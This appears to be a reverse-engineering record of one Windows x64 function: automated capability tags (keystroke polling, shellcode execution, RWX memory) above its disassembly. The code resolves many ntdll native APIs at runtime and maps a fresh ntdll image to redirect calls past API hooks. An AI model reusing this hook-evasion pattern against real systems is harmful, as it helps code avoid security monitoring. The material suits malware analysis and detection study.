Function at 0xbeef1980
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Identify system language via api
Link many functions at runtime
Log keystrokes via polling

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xa60
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [0xbef01d50], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0xbef01760], rax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x804
cmp ax, cx
sete byte [0xbef0170c]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0xbef01d98], rax
lea rcx, str.kernelbase.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0xbef01d88], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0xbef01db0], rax
lea rdx, str.wcsstr
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01d40], rax
lea rdx, str._wcsnicmp
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01d80], rax
lea rdx, str.swscanf_s
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01da0], rax
lea rdx, str.qsort
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01d90], rax
lea rdx, str._ultow
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01d38], rax
lea rdx, str.wcstoul
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01db8], rax
lea rdx, str.CsrGetProcessId
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01730], rax
lea rdx, str.NtQueryObject
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01680], rax
lea rdx, str.NtQuerySystemInformation
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef017a8], rax
lea rdx, str.NtOpenProcess
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01770], rax
lea rdx, str.NtQueryInformationProcess
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01788], rax
lea rdx, str.NtSetInformationProcess
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef016b0], rax
lea rdx, str.NtQueryInformationThread
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef016a0], rax
lea rdx, str.NtSetInformationThread
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01738], rax
lea rdx, str.NtSuspendProcess
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01650], rax
lea rdx, str.NtResumeProcess
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01748], rax
lea rdx, str.NtGetContextThread
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef017e8], rax
lea rdx, str.NtSetContextThread
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef016b8], rax
lea rdx, str.NtTestAlert
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01688], rax
lea rdx, str.NtTerminateThread
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01768], rax
lea rdx, str.NtTerminateProcess
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01660], rax
lea rdx, str.NtOpenProcessToken
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01828], rax
lea rdx, str.NtAdjustPrivilegesToken
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01838], rax
lea rdx, str.NtQueryInformationToken
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01720], rax
lea rdx, str.NtDuplicateObject
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef016d8], rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01718], rax
lea rdx, str.NtProtectVirtualMemory
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef016c0], rax
lea rdx, str.NtFreeVirtualMemory
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef017f0], rax
lea rdx, str.NtReadVirtualMemory
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef016e0], rax
lea rdx, str.NtWriteVirtualMemory
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01698], rax
lea rdx, str.NtQueryVirtualMemory
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef017b0], rax
lea rdx, str.NtCreateEvent
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01d60], rax
lea rdx, str.NtOpenFile
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01658], rax
lea rdx, str.NtFsControlFile
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef016d0], rax
lea rdx, str.NtReadFile
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01740], rax
lea rdx, str.NtWriteFile
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef017a0], rax
lea rdx, str.NtSetSecurityObject
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01710], rax
lea rdx, str.NtDelayExecution
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01700], rax
lea rdx, str.NtWaitForSingleObject
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01d30], rax
lea rdx, str.NtWaitForMultipleObjects
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01d48], rax
lea rdx, str.NtClose
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01d68], rax
lea rdx, str.NtContinue
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01690], rax
lea rdx, str.NtRaiseHardError
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef016e8], rax
lea rdx, str.NtRaiseException
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01830], rax
lea rdx, str.NtSetSystemPowerState
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01778], rax
lea rdx, str.KiUserExceptionDispatcher
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01678], rax
lea rdx, str.RtlUserThreadStart
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01750], rax
lea rdx, str.RtlExitUserThread
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01798], rax
lea rdx, str.DbgBreakPoint
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef016f8], rax
lea rdx, str.DbgUserBreakPoint
mov rcx, qword [0xbef01d98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef017d0], rax
mov rax, qword [0xbef01658]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 7
lea r9, [rsp + 0x248]
lea r8, [0xbef01148]
mov edx, 1
lea rcx, [rsp + 0xaa0]
call rax
xor edi, edi
test eax, eax
je 0xbeef1f8e
mov qword [rsp + 0xa8], rdi
jmp 0xbeef21be
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, qword [rsp + 0xaa0]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rsi, rax
mov rcx, qword [rsp + 0xaa0]
call qword [0xbef01d68]
test rsi, rsi
jne 0xbeef1fd3
mov qword [rsp + 0xa8], rdi
jmp 0xbeef21be
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov rbx, rax
mov rcx, rsi
call qword [0xbef01d68]
mov qword [rsp + 0xa8], rbx
test rbx, rbx
je 0xbeef21be
mov rcx, rbx
mov rdx, qword [0xbef01d98]
sub rcx, rdx
add qword [0xbef01680], rcx
mov rcx, rbx
sub rcx, rdx
add qword [0xbef016b0], rcx
mov rcx, rbx
sub rcx, rdx
add qword [0xbef016a0], rcx
mov rax, rbx
sub rax, rdx
add qword [0xbef01738], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01650], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef017e8], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef016b8], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01768], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01828], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01838], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01720], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef016c0], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef016e0], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01698], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef017b0], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01658], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef016d0], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01740], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01710], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01700], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01d48], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01830], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01778], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef017a8], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01770], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01788], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01748], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01660], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef016d8], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01718], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef017f0], rax
mov rax, rbx
sub rax, rdx
add qword [0xbef01d30], rax
sub rbx, rdx
add qword [0xbef01d68], rbx
mov r15, rdi
xor edx, edx
mov r8d, 0x400
mov rcx, qword [0xbef01d50]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0xbeef2266
mov edx, 0x200
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov r9d, eax
mov r14d, 0x5c
mov word [rsi + r9*2], r14w
mov edx, edi
lea r8d, [r9 + 1]
lea rbx, [0xbeef0000]
nop dword [rax + rax]
lea ecx, [rdx + r8]
cmp ecx, 0x200
jae 0xbeef2237
mov eax, edx
movzx eax, word [rbx + rax*2 + 0xd990]
mov word [rsi + rcx*2], ax
inc edx
cmp word [rbx + rdx*2 + 0xd990], 0
jne 0xbeef2210
lea eax, [r9 + 1]
add eax, edx
mov word [rsi + rax*2], di
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov r15, rax
mov r8, rsi
xor edx, edx
mov rcx, qword [0xbef01d50]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0xbeef2273
mov r14d, 0x5c
lea rbx, [0xbeef0000]
mov qword [0xbef01da8], r15
lea rdx, str.SetWindowTheme
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01790], rax
mov ecx, 0x2d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
sets byte [rsp + 0xaa0]
mov r15, rdi
xor edx, edx
mov r8d, 0x400
mov rcx, qword [0xbef01d50]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0xbeef233c
mov edx, 0x200
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov r10d, eax
mov word [rsi + r10*2], r14w
mov r8d, edi
lea r9d, [r10 + 1]
lea ecx, [r8 + r9]
cmp ecx, 0x200
jae 0xbeef230e
mov edx, r8d
movzx eax, word [rbx + rdx*2 + 0xd9c0]
mov word [rsi + rcx*2], ax
inc r8d
cmp word [rbx + r8*2 + 0xd9c0], 0
jne 0xbeef22e4
lea eax, [r10 + 1]
add eax, r8d
mov word [rsi + rax*2], di
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov r15, rax
mov r8, rsi
xor edx, edx
mov rcx, qword [0xbef01d50]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [0xbef01d58], r15
lea rdx, str.CryptBinaryToStringW
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01d78], rax
xor edx, edx
mov r8d, 0x400
mov rcx, qword [0xbef01d50]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0xbeef23ec
mov edx, 0x200
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov r10d, eax
mov word [rsi + r10*2], r14w
mov r8d, edi
lea r9d, [r10 + 1]
lea ecx, [r8 + r9]
cmp ecx, 0x200
jae 0xbeef23be
mov edx, r8d
movzx eax, word [rbx + rdx*2 + 0xd9f0]
mov word [rsi + rcx*2], ax
inc r8d
cmp word [rbx + r8*2 + 0xd9f0], 0
jne 0xbeef2394
lea eax, [r10 + 1]
add eax, r8d
mov word [rsi + rax*2], di
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
mov r8, rsi
xor edx, edx
mov rcx, qword [0xbef01d50]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [0xbef01d70], rdi
lea rdx, str.WTSQuerySessionInformationW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef016f0], rax
lea rdx, str.WTSSendMessageW
mov rcx, qword [0xbef01d70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef017e0], rax
lea rdx, str.WTSFreeMemory
mov rcx, qword [0xbef01d70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0xbef01780], rax
lea rcx, [0xbeef1860]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
nop
call qword [0xbef016f8]
jmp 0xbeef6702
add rsp, 0xa60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret